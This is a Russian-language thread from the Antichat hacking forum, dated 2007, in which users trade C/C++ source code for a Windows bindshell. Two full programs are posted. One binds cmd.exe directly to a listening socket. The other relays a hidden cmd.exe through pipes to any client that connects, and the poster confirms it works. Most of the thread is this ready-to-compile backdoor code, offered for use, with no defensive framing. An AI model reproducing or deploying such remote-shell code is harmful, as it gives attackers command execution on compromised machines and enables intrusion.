Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Bindshell src на С++ или на С для win32 |

07.12.2007, 17:12
|
|
Познающий
Регистрация: 09.07.2007
Сообщений: 42
Провел на форуме: 88752
Репутация:
72
|
|
Bindshell src на С++ или на С для win32
Народ есть если у кого киньте, а то я писал писал вчера так и не смог разобраться, какой то фишки не просекаю видать. На перле под win32 нормально работает а на C++ не смог написать. Законнективаюсь но не выводит консоли , потом написал через пайпы попробовал, консоль видно что появилась а команд не выводит результата.
PS: Помню что ктото выкладывал здесь но поискал но не нашёл.
|
|
|

07.12.2007, 17:20
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
привет
http://forum.antichat.ru/thread19146.html
|
|
|

07.12.2007, 21:10
|
|
Познающий
Регистрация: 09.07.2007
Сообщений: 42
Провел на форуме: 88752
Репутация:
72
|
|
Вообщем посмотрел все сорцы биндшеллов выложенные, мля я хз в чём фишка.
Скомпилил все кроме крашевского и ничерта у меня не заработал ни один. Коннектился и неткатом и путти и телнетом. Все абсолютно перепробовал и так же после коннекта на забинденный порт не выходит текста, только чёрный экран и всё. Единственный биндшелл(я имею ввиду на С++) это сойтека из blacksun тот который он в сорцах закомментил. Вот тот биндшелл у меня хотябы вывел после коннекта текст но команды не выполнялись.
Не знаю что делать даже 
|
|
|

07.12.2007, 23:11
|
|
Участник форума
Регистрация: 04.11.2007
Сообщений: 103
Провел на форуме: 548128
Репутация:
104
|
|
Код:
#include <winsock2.h>
void main(int argc, char **argv)
{
WSADATA wsd;
int fd,newfd;
struct sockaddr_in sin;
char *cmd = "cmd";
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si,0,sizeof(si));
memset(&pi,0,sizeof(pi));
WSAStartup(0x101,&wsd);
fd=WSASocketA (2,1,0,0,0,0);
sin.sin_family=2;
sin.sin_addr.s_addr=0;
sin.sin_port=htons(atoi(argv[1]));
bind(fd,(struct sockaddr *)&sin, 0x10);
listen(fd,0);
newfd=accept(fd,(struct sockaddr *)&sin,0);
si.cb=sizeof(si);
si.dwFlags=0x0101;
si.hStdInput=(char*)newfd;
si.hStdOutput=(char*)newfd;
si.hStdError=(char*)newfd;
CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);
WaitForSingleObject(pi.hProcess, INFINITE);
ExitThread(0);
}
вот рабочий...
|
|
|

09.12.2007, 13:17
|
|
Познающий
Регистрация: 09.07.2007
Сообщений: 42
Провел на форуме: 88752
Репутация:
72
|
|
Нифига он не работает.
Вот нормальный рабочий:
Код:
#include <winsock2.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
#define BUFFSIZE 1024 * 5
int main(int argc,char *argv[])
{
WSADATA wsa;
SOCKET listenSock,clientSock;
char ip[16] = {0};
char buff[BUFFSIZE] = {0};
int ret,port;
if( argc != 3 )
{
printf( "shell\tListenIP\tListenPort\n" );
return 0;
}
WSAStartup(MAKEWORD(2,2),&wsa);
if( strlen(argv[1]) >= 16 ) return 0;
strcpy( ip , argv[1] );
port = atoi(argv[2]);
listenSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in sin;
memset( &sin,0,sizeof(sin) );
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(ip);
bind( listenSock,(struct sockaddr*)&sin,sizeof(sin) );
listen( listenSock , 3 );
int clientSize = sizeof(sin);
clientSock = accept( listenSock,(struct sockaddr*)&sin,&clientSize );
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO si;
ZeroMemory( &si,sizeof(si) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
//si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientSock;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&ProcessInformation,sizeof(ProcessInformation));
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
unsigned long lBytesRead;
while(1)
{
memset( buff,0,BUFFSIZE );
ret=PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,0,0);
int i;
for(i = 0; i < 5 && lBytesRead == 0; i++)
{
Sleep(50);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,NULL,NULL);
}
if(lBytesRead)
{
ret=ReadFile(hReadPipe1,buff,lBytesRead,&lBytesRead,0);
if( !ret ) break;
ret=send(clientSock,buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
lBytesRead=recv(clientSock,buff,BUFFSIZE,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
//WaitForSingleObject( ProcessInformation.hProcess , INFINITE );
CloseHandle(hReadPipe1);
CloseHandle(hReadPipe2);
CloseHandle(hWritePipe1);
CloseHandle(hWritePipe2);
closesocket(clientSock);
closesocket(listenSock);
WSACleanup();
return 0;
}
|
|
|

09.12.2007, 15:22
|
|
Участник форума
Регистрация: 04.11.2007
Сообщений: 103
Провел на форуме: 548128
Репутация:
104
|
|
Сообщение от 4nob1oz
Нифига он не работает.
руки у тя не рабочие 
|
|
|

09.12.2007, 15:33
|
|
Познающий
Регистрация: 09.07.2007
Сообщений: 42
Провел на форуме: 88752
Репутация:
72
|
|
Я на локальной машине тестировал до этого а не на удалённой. То есть забиндивал порт и коннектился туда и у меня ничего не выводило. Фишка в самой функции бинда и это описано в мсдн в функции setsockopt как раз и идёт обьяснение. Короче щас затестил и все биндшеллы рабочие. Сорри за тупняк 
Последний раз редактировалось 4nob1oz; 09.12.2007 в 15:49..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|